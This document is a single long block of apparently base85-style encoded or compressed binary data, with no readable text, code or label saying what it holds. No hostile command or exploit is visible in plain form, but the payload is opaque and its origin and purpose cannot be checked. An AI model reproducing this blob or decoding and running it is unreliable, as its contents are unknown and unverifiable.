zyO~g2+?S12sxh6}f+<QGLs;L`r)Rpq8LcIaHG|izH5t^})Q(ZT*=aW#gBio2*`3$V z<ZbF!BU{zz7By;SHmuJSrcsE3^3GE)Je_gapkw1ZtHD;*9!^-I*d)6#Z%8E5Wfv%{ zU2p^b{y#t;QlsF{jV03<lgs5&j~mHS5J&tO>jlg!NsUS+GNbjf`E<GrJZw>dkZc|4 zev^0<;qw_uN*~&hKYE~J^*En{Q;p**yNFX)S1rZX^ju;I+1c|*2T(lXXTrz9rQ})B zE#%?T&GgYZ$waIBAu;6Q<bX7QfaSAQZZGa?U;MDI?_biJ^@2)ejRxJuOAObP=RXeD zLu49Z@)u&V8lT^dd6A+a;PzEvA<YLfJIg3UKA}H4=bl-dap{bj;&Ok8IFDV_;3D)V zYV@W-!hUjO@Q<@L60P|YCGaB5sKDIB<X*IM2^YSHkU|-ndIxDZIm=FBsEJCU`bY+h zN?C6Ttb;1Zc|OzEL*XUllA*^yEUFB7t^{^0UV~fl^O`t)HYU1KVXZxB_l%~nvhlD* zNJ)ZAG9+^;v#SuTI;>%<#+Pskw;`vD$bc@1(3CJD{gdc*Ync=_B=e4VEy_+F(%KD= zd(<XZel`%(yNm81%J_wXJ85To7kufo(Ip7AAfD@Ef!R{t+p3z`TtB6<%Uo@F^CcF! zPUkj>5wja5paONXNjHG<V?!?(%sg>=K^Gxnc%F3!XmhsP0oo7R1Q`zlKyvbq@X%e3 zr-pP0z|BYi(vF37K#JU@vuT?_6T=u#%!f*35_(H9I_%I!jcONA0MCU={$SA%$6$G( zB7IkM1M^o3sN#7?q#QXd`U|!|+EM6!7w=0QiT%Zz%4+z$S*26kQoV$dxH9X`2I@%d z6+B6syk{oh1=d1_mfH~XVb6-IE;eT^`|(k4*0)Pn8~5c(vqfKa#O2Yp`CeiJwJwWj zaq2wSJU*qcKV1|S17X-ua)FFFQf8ihph*rbdB8QK-qe($pkP$rVtw|>qdEsH1E*OZ zHmWs&n8obW>6{jGP@}a*o?|HK(|R;>Xff#zL!s1ao!RP+l;JcyapAmhRFJ6p>`+<i zuSpiwVZl?!;qes`Kl4BlAzOea@bBY}u*YFmYYZBLM>Qi+bRd=U=uCF29s^H;zG@>- zC`n>G?Td?o5u)1Q^xA`%6S(vCLo+3F|9(bCB89`p8twZQr>9*biC{SpG1(=_(=6?L z^vIA3nXxv{j9FnrA0K)N;jb!r-BzZBKp!$7DS4l{VNEuW9KsveV163UJ69$;WWQdm z)3GJJfbh=w`Tx=MS>L;t<}m^RIgwZYkLA+@<kOrypJw56aC(_@d4tKb$K4&+;LA?1 z{Tbggw0i4D(F@>@x2`PV_9LE7_r)_2pLN($zVX9XoPZ;}))tOIuN@!Y9AanUcX0Bi zfO{`vxDgBG{=7mu{gBN4kpDbW1mQ*x@Jh{|k=aA9(|Y`JBB<#@bK!XT(k=^vDy zZ%zGJ<KD3eN*ig+Hhoht8#RJvFodY*d7;!wQV!F*Cl?d(sfw|0y45<?R$@~oD3;Sn z6JtmsnG$iUv*@%0D2OQAqp!k_c;H3v89KoAJ>QM(a$sBrY!}n<w74s`b#D?HG(xhU z%RBH1_U+B7ur~V2Fw|ZnZQ2cPvmR7!-4P_i=FQ{gOC`j-^Q);yGjAB!fu8MpQA+GR zEY^jJmxgk%S7%|(#e1~#iJ9BD7c|J;qloIQ$w4M-Hu*yIxgvp<3C#*J0czyHQF?1F zk*kr?G*t$@ifJ)%MqvMRi4@_5?J|K+iR`rKvg-{CH{JKzxs9|ya&<j#ojZE=&QVi# z+udR6ttmm~hK(nZw<dfACtrXke+1gT=Z6RxH(iOXF%&2<*sPi>-iWW@lyxe#PLynt z-aoo2#1gfpB$XuT5e#Ghb|t$3f5khuk}j<`M9H`jfUz5jW3kf7YvQ;T+i}Xpd%<np zHqU_^-Xar7UtdvVqZeQs6a+t(1%XDV_4=+nFQ>J@2$F1OouD1K{o>W8=`8WE)t>WM zLOg#UXMes04$zP{GfQ<v<dMi4^r|RFyh9Y;gyN&upwU~^edfw3?&Xfzj_KUOr@O!P zJQI>cqkOtn*t8c}3s7d4>D%xSkK){rJvR_#_;>k;bvmPB3f$VtD5;T5k|v??T!<w0 z##6RbG@jC(rd)`3bTU+E_>3lbDifJb1Dam2CP>q78CZ#-x`<iz-SxipWX&Yy>C6aj zCl4P^^^@wb>(N^via6<oA!JSaH+{4Fb}@-gCEh}s5b{6{!5|(1ub1qqo+2P?AdI++ zS=@+249pN7ptSDMYG^yuTD8ikx69kZW*i}>!Dfn<LZ(Q_J>?XmyTi4agxQg5FFiM< z$Bw3g$+#<}D;(Ls!(*{)c?2Ju^rWbo!r;i0mF7q?wI>rxPVUM?_a9uQNVyNaARmOa z+oZfFJX{1Nxb>|;c_t4_fWTUv!;=VgY6yVvbGiA&mPI^FASJY~cC+Sz2Nor1{f#G* z3jv#d*;`u2Fy`uk22@*dQWV?Qwa2d;5yknLU^QsAjYK?S;mF+GdEki#vf+XtMr@tC zR(9RDtk+CnR)tjC*P1#$B80D*7+Ei|@}5THx)6FMtz&wt5n1OG{?+)%j?zT=5P56? z*lHAyv`}p}&7PyeCdC-O%+Tc5w%BFDWrQiW8e_umTz1S7H<B{^Lsse^8MNP>u$(S+ zBNc8NhysGjE%ArV4D9U1A~s)Fp(|fkt<Jy}wGgX!@Y|{~QhYFg_#oI5qbyApaAydY z_Z0$@v~+pVL(h}j1DAJvIv6V;k?Czs1Pdd*TilYosgZ$O%&ZB>+ksomb8n_nKe6d? z^jH?$?i`tpgqoG4{^ENbXe6~jy6N~Xy5R8N{soiCzb9B}dMQng2Xj(10_+U8NRyVM zGQgb#M4`}XG)8)9a+oc&ZCtgtT(3_%)Ed!X3@4ljm>LAl4jnwdT&^C`8BmcW3GS3n z(6|lmR5=<gd1GTKNvl<LF3i?5<=rD=XKxyI+C`~a(Uw=+;ry64eB{QX;o;L~$_6(E z6-VRAXneN3@UnY5vCg;`CAzRdXx;yWb&G_&awoc?Rad?GJtBLn*!}p`(a;g6ubK=2 zbro$P$a#9O76I3gyaD*6FeR|l9`GyzB=oOZiJ8H5@bGvj4uK>Kgijbgcat<}Z;~kc zot_b45N0(ZoXzg(|EA%h3Y!KTQpaMgkg|DR(?${P=QSAuX7mau%;BA&_u@~vc9AOW ztjL&Bc2bs9eZL)62Sh3voddzd%d9<N|0eIxhBMy%%+;2o4BT5;`?A8-7N`)-&j@#d zW~#0MM)N(-gGK^6yi|=%U}{*@<&ON(C2MS+fa7$vbv6gdS;DzeXGUB257cQ<9Y1N% zHoeAq!gttunwON~O3x6l)dQ;|3@+PLn`Jcn>ed6jwS^j7n)q$cq<T_Wt<_O%aIu%d z(IM7{LS5z=n+nd18BNMi&&xNds<+;L%dw=b?G$^d9Br;W9)Q5zw_~$G1$q0E3qKVy zINKReujW>yEK1E1UE?$aFkO8OQXaCc*wa<?3dRK_0kR%!?@{FZPIQX%>EYF*N7p<n zQ!25Lil&%gGih7~ArT6#tk35{D3J2_vo70k#oi7st{B)YJO$`)7gO!5&#Z12GBYYE z;&#NeDkMfl#MB(Ia>VCq9<C$6Z_4Kavx|O`w?Dby<m<NZ48~@AA#?SFWci6PL9fJi z0#`@aR<q(0S4SxLHI7_liujdTcwHf{s;9a^0Trc?OU0qD;ZM2ib_wSw=duSZTeL4< zRXB(%RCGdAHmurOyRAfj)QJ9|m1wZ|cl+qiuJsU^zubl$UOQfC&ZSnBV2@{JDG?hl z4~9Cn3HH?YH==v@?Er)TRUQ<DS0Jiy<#{=rIf-3p9x7(+D<_w8un?i=%gTC)LIeH6 zU-tF1w~|z0+ILf}OSLDv=dQF8_*+@e*lbi^xXEg*M{>L7TA#a`(qK9}w_wHDp;H|; zd_Nb5yM=qV>F~DqbWr|AGthZ1u7EroTCA)X;iwVys<$aM2$*>;0<L6pT2-TZ6VPi> z41>s(PNgaDMc!>n()f4G`G0MP&@Z0#E$_>?QZb*VAC!`dXUqFLc9%<SSU7pxxzf_P z37n7?Cv+B+Sck5WrRl&4QN;CXLlJa*><`l3dRkH&mGd%Py;qKdo9INP^2WhEPyd{B z<QR{>*pW3x^zl%Js_`H_As?NHHMx23!d06FUr0nOf+#sGQBg2x%KED{3%;C-Bpqg# z(G>S<RW_$KF)_iWuhuY-Z=`q^zmcfJCG9zI-kWda^C)r`zL@q_Q!2^mX(0{Xo;-i= ze^=Ez_+Y#f)f6}QfG+U!ErVCAj3`NI-v5c}ZY$N`@UBpr=dL_0@1dtwXy7mKUQtML zyyjh2{Ad3Lk{v($1Co7i=z+gRg-nEUn^Yk~l8iS-!Rb*(c|v5v6rl(<N-o^)$E*8l z?IUOFQX}mjj;T=&BL(Ktt>YtFDK>R{wAR)v>`SnUAv{qiPa#-3KjF*ys1|1Q_Wk7( zd#atI2XvuAIKg|t<lq1AQd+>k1+1#fDU!7jJ(aalS<zB*Clft~)TU3P;tIGn-KW_< zK|1V0l_kY0a5;EPg6FsJcM8tL)0ARI7^4Nn1rvl!>1_tjLojOSXU)RbXAkEDAsg`r z^n&QnhW+ChKWeQETl6ZmXp38(b@co@yd~$tks@PLw{)K_&Bwzf#@u0(%k2ssTS@P# zF*J8%ZI_xn|0j`}lTDm#&)zbF3V+@cMIHn1fg<dfU!(I>o)bol+yzyp*cHy1cNh>i zP=^8S(ad1pl_sMA|L2|&Og~h7TiOlCl#6n&ul?as)Wl5Qw#MsYrsQ%MZ@)g~@8A-$ z2ufboU$;*#f9dq<U3&E|gR2oBx#iX1sa%(ZH3~8L=^9bQdl@*Ta__?EnT@AJkNgyI zo!)1~Q2%Ldl4$4M6hym#?g&^h<)K^oo=_$D5Pu#}p8r4iQv@QCn|G30uq!pr|9vfq zx+%(0sN_NgunyP;ueY?9-mj>|c-o<Qt$uj-yQq`2`}vESIX5?)%K9+8b7s%!D*I|@ z`un|{J9=~ndr!gJ)(b}VGw}ARA_rycm|h|9WjoEh2m@TrB)_K=6$HH-(1wm=B4N8i zPuZTe*}VpVHTM5>LLW@KU5!Gl6KgLdjhF8kXVwzQv3j7e6CpW@4WNe|6pGYgb`Nd& z^Na_~i0l($_ns>xOz#f`jb?|cEttcNtS=dkx|t&xPdw3?{^8}57VJ!<LuIYIS&v!M zbM^K@!blP-g$~SrKs<E@r>N%9)Yb@LL{Lx_A}68dLW>I}stf7^>`<hGUrv0Ed_ZQN zdBL>6LL=#5+J)ZH#<7`$*NZHUStty1fK5qfsEV_xR>V11F(Qal<!DKiG?92T+Bj}S zrCTdf&*(+1I~28Nr&BX6e~x7xTCZMj$fSaeMJvh}tA3N#sdr^_{^(2&YafCY8G|k! z!`cU|NNR#ZG-7}g2P|YKxvt>0i2<t-MxsW|{5lKob{pTuC}tY1ev`TA*meDxQyHe` zy>1uVz{94<4R^h0m`p_6{Qx3mKjNKHXcLBn=z_1#^Vi5`gU<{Xe#WQ=YJ{V7C^C=h z3fRN^mh)0c%4PCIHV?M6C@w|nfES|)lk-7<U#T!YSF_<*Yeh`>)~M_Q)#(e1N~Ll4 zF_C>l)Ms{9Y$Kh-+^e#E_jz^6XWwz{iGvsju2iZI%f-d)kC1-k5h2E7W`vl_Z$FBI z5c|6*tP8#v4CO-AWe_?*(g6aVd(|KW51`n96aL$us6E;pr3Nj78KJU`-jiqzz$4!A zDSxFCpS<sciZE`_FQ3)x<HKQ_8uc*FM97VXF2UeA{-gB2J~r#g`S1GVix#YQgVLSU zD<7*I96kQdgRC-JK)85?H8WE?=e((+Gdgo@%7>~J5jWz(yTDaD!BujtcVFsGp(&o6 z4vt!Z1PWe}8#d6tr)Vou<2V*=a2Rfh*BXj@bfQM1QE|6J^;(r`b1^<|-=l_0t@LU{ zs<p-SzE9#@J$3embtgOy)6vP)TE-H#AkKVo<0TsZT0MVc2+<wt4DEZ26ww%{v617M z0~cajBKj_)Aoe1ddbX_R5lq82_v2aHN0rE&*P)shtw{=1UVLG;BWp`PsW3DLRE%E; z&kO~X8{cxs(Q&%!6=xNxEbKds!Jc6SBa!z3a_NQeI1)bkV`o%mY3B5FV<`pDtlUUA z2~Z4CoITz2AVMyh>Z9m;m(-z*2OwIupw$|233f4Pz41;qe&}qax~~zLtVaa*@UD@$ z>l?Ga>GtSCbUijQ6%1p3(r~%^>bV1S=N+*8{y%QxK7~6@GwPoaUxPb-ch8ok>r32p zQKb_UqSNW3fkYd39~{*Ww}H*b&myAe@^F!Wh?Itc(+z6z-SD3YDeqaq0hZRKmY~xc zdLjc!0ZC(2HFeds`lYb~;!A51YoL6cax5Zi>uRf)1PNd_ox;@d+__s1*?Dj-K0hCy zesF%~#)(TH1~7KhjcOy3+4E7kQaf|7$YySyz|DLTd-^GO1gOs2YE7eNUru$xn5G!r z2#-i_@)NL!E=qQ))t_6ut|$m;GN75@&_&}@9ryI4#;Ft1<<TIEm4o>puci0zNRKas znQ-mS(F4Qdw+<T2PLB%(_{VmoSJ3jjkeN+qC&I%)@+B%Og~bzQK`b4bn>jl}yby*b z^9+w@LFIyuf5ZQNz<w?xLBa0t15uH;oS`fOi4c;DEsb6Dq=LFP&%Ms1Whv=<qRT31 z%4*DU*O)aey#>*W8L2ShWYgV`Mlg|OWrn#E&Nn-f4tvV}W?$ICb2YN{2}>r~i)Q13 z%Q{`Ik@C2~iI*9)|691?82-pqa#qcYmeE)O-5%0L)9CMCGNApy$t7nrpf{Tp$sCW` zON~&karBMP-Z)CJ>t}@ji(AxCB1h?wk-=!6TmZDqwILw~$$-6XZq(nizl8g+S7Boc z2o2~?<s$4ic5a%zMEN~c)^BiW^@VqwMF@IS4nc2l`K1c)NhZLrW#5IYj>r|eEmHYZ zu*(6-s6w+3c$pLPE&|OFP-hE}m>vL&`m}U2V&?#gnI-U?hFe_uT^VWR_GzKct6a&x zFkYzesz3+XvGAnvdmwx~@IFbqfzK#VB|q#*B)Uyh*s4?t@KhrN50ptyZYkIs-wo%P z5O?TJD&~qiCyN<@4HvGgJn$RwU?3?XX%hvA)`57a^e0zbA4u8s3eToHNIGms<7KAQ z|7#n1beEA<zlaFo>z9{TC;PB_p4N^i2|DTFiB5B=!FzJVKfu#p;b~eN#UC263XG~x zf_IwGh3AD|(0zvOOH~l95je`cxLqBF^-j^avVc^wY|E43h$=_2Q7Bc1R0eX&P@GIN zabg4&zU_pw;SqchyM{5nD`bmgoJM~+F}f=uh_wUF++;EkHiztu;pEh4BoJfX>9P3( zC4}hGGyAOd8<v^}#x0TtQ1zLKS$|<7ZL91X@eLP}CinQxLTRb!(%P+aGj_Y*?+k|= z?&%#nqNB&=Q=ne%Jwg<L)2Svpx9U&W%-hBqz}vi&TKFKW(mNEyO2vLwIJZ{=%3E@v zE4kgN*lu#i(ZCa2xor(P^n%IXO6{!=OTw$9^I!g-=>--JEiImZ@1>hupMUo+_O_3& z$ACqHJyhX;_w$)JYDgkhcVt9S#hS~%dgr5G6&^p|SY$u!x|N^9TzNQqZz4SgZ89W$ z13x!{pBkydIf3g4i9tr0tZ0EO3$~NT*$_99#RBUDzzxZnX!i8njjhU&`}gj?do43{ zZt-k1D@<FvUshN4*6rE3+UTCTueO?2e=y@0n05DUvy=DUI9We*%jo<ACtOVMWk2`= z{n~x&!$)@JM-H8?EuEWEq4j|c)w)j$!;q>)ZY4mu!tUcn68?t3G`|S^K%r$xq$RK* z$iO@CYZCXG1w%CGDOjENI&~(E-551yE51-p!zyD@%w9DE^dZuHdaNwGxBJxaLds)j zujsx<>vd@Ld27rQjxWaj&67)xV1-tqMUUSeK}Yow8xjfLDcCH-<*2+Eyrh47FO;!E zEnHr+h<BC)88kY$jBc&Y1T;J5YWqUL{ngs)-j=f-i<|3y5j}9oI$AVA&vYuAL!Tc! zB#GIZ4I8y8>+NIKL^u{vtMs+b@=}-?jpgVF%4n=5N8UK|&}`VFl8S*;w9;_;7nf&T z<X>fvUc2fmSHK-<PQ~MhLuIKef@5+iYxHmnl*%4t&C2#Iof`LuVs`oL;>t~9Zc)td zx@9I=kJ|yfV(^#Z$!gdNV0L#|c)WA=71L7>oSU1)pVRnrzO;5@JAZg@2eqL$v?gyq zGJ+knVH=Nu!|eFYA~p%Trp!jtWLj)A1b|bH6)KM^aoryMA^7#L0c_eIX#eo+#K-6? z9Qfal@lELZR%oD2=dGUjO4)FLLZrZftP)A4ip-H+pH7O*UB7n6Xj}b7cf!TMqswBr zIu>4C0F+EF9Vi;~T81)+2qu6=#`X!1JBvF<e6892?b5On2oj;-hZ}o4?ZEsCo6(63 z^Vtkhg98!RLdY{xjnLY-EPtFZWWXn+iCYxu#rkB%h0Q|iYPoA9*5#-%e^Ucv7UrTX z;VBkCYc~r|?z%27FjU(I4Cn*a>gvI%d9-gt+67HgCu+^w;!IKyt(k;9>O+MuvxI#S zSh=+mi&H0C5{u5YkM9-5rF*R#@nO9Wz0)gge*<;s0^7-=?NnkUY;+h5A)PVe#+dX_ zcxOGnHtU~l8ttcN=8t2eDH1*e%z47M^pcGOE@@$SYh6SbiO6edkR;K3j!#Bl-CwEL z*-7t772t?OahLQZ6Z;&;at$71pYP5csX2T=<z}`gzDwsB#GWCFLepGlF(i+!6L<ee zP!DXNtO@&2Fb=x??EBX4HyobD@YFSJ;4SZY@$BriB?f=M7sP(4HIhGS&Nc$LM6OES zHJi+N|1(|?g!3O#e^zf!PVXtLo@wN#qoFcmuCQ6_(Hm^Kd?)T1YbUL)7+dq?K{?^D z(;T(p5Y3RFNDWuMv^1(zlr(f>HdZ_(Ie1IX#(LT6^m<ZYiAXAdMqiyK;R_X`E|XwD z)oE+3;zU*A?K`fyF{u{pna)X<D;q^)o+A}XWF6?Rw#0?U^OKQ4vEbDD^+vlO#6~)c zQIpTcgxK`K`t+IUeeb?Gal_eTW8Dwg!}i4f)mmmc?in9V(eC=NyWa%bFA5L9kraZb zv!miCiZpYv^m`GXJ{on@JGpOSccyLZ6RK1j&1%}XHSRK}mglo)UVBhr;ryf5E<EtS z8+Jn^qT3m}qQkDlfcXbIO`b1DNgdoZC7i_(X;H}zK8FMZlc?PUjI8)`5ampjSewI~ z@cc}CrUo}_VNa%UbW{|wqoH&Y0!iF;=R{=;@+MeG=JJAS^i-@Ysv7A~(Fe@qiWR!0 zn%*()$e+wsG2T71(uz;lY^mXFB|W<@yU0d!j%+sTi0lasci63-g<!4e%lrL}98Pr@ z>$h#3DxDuyjS$CS`NY!Hye*+fPotJ0%D0|sY3@kfDGBye=hWitdQ1RpUE0f-R;!Ks zLgkppU|UYN)~ha2n!U9{fSEYUM8uVe>O`Eb@ObUomoAlFaQaXqJrN5G<8%XBBhEBb zn^{Ubz%Q|xgY~(a#}_kG3HQWk3P)QxyvS!Yj9~32gvTYd@G1+P@yl>QRiMSH+)M{V zDs&~?%9n}x@t6Q{`s0ZZoQ^vs8B>{LDVMI|Dy#uyO@uoCz6Te{Vq3xYH~H(=@aQ@E z+J$TI{hlFYHg3fC%EFtAu)Y)!HJ%pxXUunZ)J;<NYm&x`(K<r+|EkzKC%osRb1!+~ zo5qhQ@?4wBE24lc{DA!n{mujUon_%XXnNf!z21k{Exv|_I0nE=`I`O+@4x;Oy}ui; zEByU8aE#Mqcs;{kzi}9Qa^c(H`=4RW2n5c0Scd)XOgB0yJYGM4Xc#{Y?iD@wbXs^H z1Y1UU_s|FMr$%@``?Ky}%I^zLZ}a|du(x%;iTCsP`Q7||`Z@af^Ze(3gZ-rYO`J%M zm4@iIL+kA$LDA}+NV8Vg%nJ^;VC>l6p1^T4T|gtUQkq%f|CGuc@BWD;sAVvCVEr)6 z+Q4^U_xJHE8pVj9=*S-+MMns{Tbw$&-rtCgr-G$+(B#m(1ZKvtq5Cglq!KK`T-UpR zMCJ*(J+WEgaYrE$8_whcCYM=IS*>@KXKJ2w#}V+MBhjfgr9v)OB~I(evm`r!bs%7j zSPfCrbVFU?evk;}iBDv$_$wt?gSW8KzB-dHlS{4s<kTGa+Z}Y^l4ye32r{pZWI*Fm zi#og37qJQ<pUEMidI|uaZX_GRQ^TXXL{<$C7uZ3ToJhIjjK%CK4^WP>Ay>@Kn)qnc z62O(xxKt)!Wdz-hLZmSgu4{FTbZZ5SOJ~6?4=Z$+d>SK&qSi$ZG#8yqLi1JuV6pEK z{xNPE7spiv@nr^fy?i7lHg*9nU2BvT-~VC+{Ahx~@37rs4Cv`Y`y3vOt`+0IXny6f z#xK|_*#~mnySumM*+=lXaeVHK{JB||m~n_LcIFq2$G*~JuPk<t=GnvSAqpD6+kI;2 zw};*^WI$d@&eQNcJ`;iaosY)SOentrg}!C_k3R3eurTx|Lk|%x_uw4B6Xe_XG}6t( zn4#${#Zrc_7bt)M;7jCR$0keBohzB3xiK9QSQLq3a4@{ip|1!L+<-@LsWrkQLjm?S zJTK$>zsa9}48MY&$M|!a7V_1hH_+!f$3Mc%oZ}x6g7{OQ8!_}Z;1V6pt{{HZhzT*> zbPUk+jzGj9j?GzFMnlzg<xmLbFzm-*&fUF%y)Qa`{{L)HDhxR<WQV?ld=~#kZcR~i zO)d7K9$>3$ly4L=U?wIE2SZulgZ_0e?_%%k-VhxZX8K<!3>6^}zJ(Qz49#NiNYvvB z(JkVBG&dH_LZ4}|wMzRuIoq0nU;6j1tcNjkI^oOs1i_q)TO(eL9-W1@h!=*VFn0aK z`n3RBFVD`xG<3Ms7M;o0c7$*i<q#d~@c%Z4eYS8R<{56MBh`@JtkuU1rihaXnQ(Hx zSYFEJ7siJ34ig};>n7co`b1!#)fcktx3Mdn3ck-^0g?>z1>_2tz<2SCt1~z$N=Yv+ z?!aOEr#s^nm^qb1Q#DXcQZZZDr`BtjV2yer=!zgJj-)nI;cq!Y;IH8j-)uGwGOUq& z+*2OqWLPx%xZWIg2`n2<EL@rllAla7^vCSODDZk@$ih6}>)6mY*!6-MJrpwc^p-FD zd2t~l2*XRo;$j*$!m^;wE#mJv`TzLI5_54$k5g5wGw3IXDK`q2z#|Dbsc!mP8fTlq zQF6&dA85g4glccr@V<w$1M|CK<}-^eGwQI#18Qx?=b9Q$77Ti$+8#h}pU+?mnXLuC zRWj?%)l7NHX$=}R#;VUbk_2)I(?Y4ZVm8-QF%Uwpk=YrEXw|wv-e!)5O%A`)K2|KY zZLXlh6b_qhB|l`XJ>(2)HK9Op%4LfYzJ(pSWeR*69Ey@fTz5fEk(Hf*q{4p~s6+qJ z7-<o22w!b{%=gIX$NV3uoUT4vIbD0i_mPQ@`yXkZ9Qkx>?bBnA3Xgw*9eC{EC-Kk0 z#}0ns3t#B|7;~B~{0P4FM-hKj^rNu*!1*`r5dLHASM56Xw1{`Vue{4zOnCqKH}4m2 z=sqnzHukG3&M%BkuFnc@BxxYNkV^@;g%_VIo~%PI{3GOsT6m;EdV3M_<%dHL;q}Kj zF6t4y|8KG!f`TD_nC9|k8K3)iSq{Mir{|OGZP*<Na_H^7-8r;rJFq2#d*#4J&6RHP zo^GA<o~@p$zNLC{_!iGC^;^7WiZ_?uoS%79^DWj#uldq7e~5qB;V)hD=%bG^@k?0a z5~zDZrmiegS4NExX=D}qIC~-AGZbyGkE^?HQL`7`D4ik6T*YJ}VdGsvP<0y{@8V~L zZw$Qq4b}OZRr1f`H!9zZUHJl}DI3~*;f(P67rsWn>5$45+bi63{yjD6dc0#r=A@2j zA>gd`$rB(vB&foo=R1kziMXVyEg#6lW3_|_s2+mJn+bNGj-Pq(J^S{3;GtXMiQEhB zICo7TaOljfr;&HR@Nf7woAPZuhzM;0fl(GSi~QT9dhgpzfLk^C(jnm&m;Sc%__iDH zZR5nZX<RiY%xe6B0J8>Bdx{q!pC2c=#A{h0m?*K=Y&Fo^Mz#wYzSs@o@Q7DL>W;DT za<Pt#zS>nQNJgKrvl7FkLFP@ARmD^g@23wfn!Lg<IznM*QIoBgO^ud~IVNg`;jyMY z*~zoc=*cNVb9USk$<8I>QgN(d+<B%Ax_^w7?w40O*K$J?Af!bSfx6A8$`<QE?g37^ zT%ZehTe)6BgRqm^g@Q<Az#aXC3S;F$of_(T3tf%ULVfYxLRseE4wJY0bO*?41$m`y zD|1d%pLM0DM{(X!R2;k$Hxa18|9@{^0w+gt-aA#@bL`GNJu^M`Oi#~!&(6K~>>;g= zT}iCiLqb9b2_bO`g8&f$GO?dy8RLgJ{A>r4_yN!O;N>SALvY|>?AQci$9Cdh;*fxC zVsk{?G1%75=3hOthlDVBe$SD#+NtiE>Z<CmzWRSheP2_n1!$23atHr-@!NdsFRS#; zwcN=+<<@d<U`)S2%^mHUYil(jUXwVtQjv^S7uRy!PHyc<6KJi2AaKeJ>Xdew9Kni= zu`*WLeX2*59lZzf)9-*>ZfDkwX^pa7ir8tE1f<ftFMTwZqEuAi2ePW@)L!fs>ATK! z5n6JFN+x4IV}+rTpbYo5cU?j6GUP#WjQ)y`qhB_9nbN<f@tdv2hgAQd^zTf)J7ZVQ z^i(_}OOC64K;OY`be~F~mx9Y!7vCgL(Hv$S`_VYCn+OG{;vb6NME`3-+=(Z@eD>Ys z&l8uQV<biwac15ouSCBgep~tq`3hP<emtO!RJ(;~K}+JbN?a>y0XQr1AOD)PezDR3 zO|{;1wO%@<1?H9Y8gOfpz4>wQVAca-SyVwYmHXEH7GiS}Yw2b35@y1Rn&-A_&a&of zL_35!CGac@t5Rsaf`dR*)g&*2cQBbqp{DkRLQ3{cd;vf7>7U>a<31zgWz`pzda7w` zIbU>a<=9PV?r+ArxsSes6DY4Lv{T1EaTc37l)uQXbh06SR@2UrsO7e)?ptK@;a&U; z{Ruq+-U?~6qqmELfwhsVqBDS>w4ys*!ek89bhIc8f@zo-&aJ8xi;;V$ubq;h@*G|p zw8<X5IyezZ_3|`4FjsdDNE(Z|n-HTrkn);|diVqDhc7v+$nmMo7Y`=qwuT*jpPbtM z-)0j$U)%HX8BZ!?gLc{?B%&T3aqx~bc3nL<u&n`=wE-SRqmA*6#hn|o-TLrZ(_?}& zniv@IY`?x)+i`Vs<CU9|VqW$R4pCa)b97?(LszW%YiKpr%W|wfe?Bx$Y*wAvxgMo| z(}{83R>gFjA{92HsIWWk0BpF*&`a8QjLky_-7y^m@IK?2Y$?L%6I_4I+QM{oV4`{P z@W6Z_67We>qcw!x?ku9!>Am@g&S>Oixq-YYTy!+v+?;}NmvM#t#lCcCFdVana}hq& z+;2(Gj~BP}8VzfU!}B>3ZbW>kkWUxT8Vvq2LVn3kvW5_QtQ;zi%B3w?onVWk(-yNN z1=1dMVs1koW6XdDvHWRRHM4@EHYrJ*3?b=gG}MqNSD1(qseEZ+XJL_kLK7M&mPe$M z<J=)~@)&3&u;?Q%fh%uSU2v-Y)UI98rZJ)cr^d{66it{C2Iety%q-EKIpk|*?g2~? zHE~cn!DPV!`#J0Z?q{_vNEsCNyP#4vs_i~=Fpab&Qn~K*7UKxll#e<M#8sNA)wX1y zwDXHlB|?*E_n3nz=x{>ihAZFjh;f$z_*pD&p3rp%@{Ouprw<hBwddo5AwOWh)30|5 z-4>lIY7Z7-A+s%69E>Nnh5aR;f20q@Bl%L)?$hfX$g7}p$L!%^OtQ&+BL%U)PZUZK z|8Pwv^X950SWJW^i@9vY2RVeb8(Msr+XX%!#>r`T<?dA^8IECCs0HMXFav^tMqDA1 zu(EEJ@`x^3&fEHa1a}+XU+1{+@Q(gKuY00vkRMCPgV4!IBYAmqFcI0jK6B1(7nXVT znnRzN-*)T1vYKCe^_`n1Z`fJk`Q+J$CpRA5RcD`$>}*~(mf5}mlV%oz5A>ID0y{f} za9FWuGTURnXW+6s=4bA>qS^ew9W!U&e)({tzWc_BiKFK?8s{IKn7DB_9P0Sxu?fh$ zv0Vit&>5{1pnt|A0LnlJj2OT~;9RF{*Gv||*aHY(hq++qZvi+M2&wk4h+v&{)Ry_Q z<R6zuG_yR)t;-`?8D;B-qK6s@PxK)j7aST4_H9k6sk@jkT6JE)db$syf!Bp|yA~vW z!MclSxo>|KvCyQPhtgou<N#&8xis{pspwrA`qES^yhts{1v?T^lQQuQRej~SUhOjF zGbWPh3ORdnX7!j&W_Mpj5|orbE_XR3#@W{(yN4U=ZjI_Z%ozqPLqW4L>Q&QJVuS(@ zBsOg&)Nn9WPJ3>!Ot6Zo%nw7$MOg&_>j{&l_%XEg{7mylzZT5+bO2~9C|b8q%iRKN z9A|<55G&j{(~a;_ywS*cO772cf`{X1mtV^r=j>Q8(8?P%mo9vk+C^#%NhvOFAUCMv zTvQ4JVbZP;lwt18SI)(Jz25UIehjr%AZGddmH?!y>c4u^PD3Q5?YpWs&#qdbD{EJ{ zQY)uy@TzP5N>hMLPPkm*w%ZDMa?%oDRoEP5$T4yab~O{zg+p>)mXN8)-1M0?3%Ku} z)=zV^XEIw{1H(#jG8Qhz<ybyJpFU?SH<3<H<Z=_Ku|_P`Q;#PK;CNZ`oa!wu!jSrO zTo5npo4brW=Osy|WyC#l7Z(AtdR9SJ&#LZM(0#b|Iy4*aDBl5h{8sONAo}0@3cD!u zD7g2Oau0j-H0}!cdCGO6ZKG=+kUEmP99_7!btAbE?VobK4t;?=6M1;vfG_7NNtj_+ zHdHJIym_n+8Q?bFUNj2pz-nURZyXLG#O;ALQtj#rjRbAT#7dl!Em3nLimln>=pLX* zz-8~Q4XSYu78A)D8V;&qpfiT(8~&6%ab7}e)`_C%>f#M*`7GzwzkF<V=CQ}7#VxW~ z)8)b)q-jg+O4w6=^wx^r{t`Zbdoa#+N7`VZV+0f5qnnDDfFZFZ%~bVEgTp~3436!M z?Mo2u!2|%+f5FDY>rI;AC?dYvz?;Enn{F)*vO2iR@an<vX4uv|9<Pqmy1FII0ixVt zoVH}$Wq@tS$j6d?yE1rZ$mZ#b@)~FhjF@(R+U^}5_Gm0!E+>X>RR{YT-powetkGfE zE}dDM+?%kc{iv7No5U<BS9v3!ok_Xt{ZbbkGF?cr+GW;yhKIeV$tX6t_$C#}Nn|=i 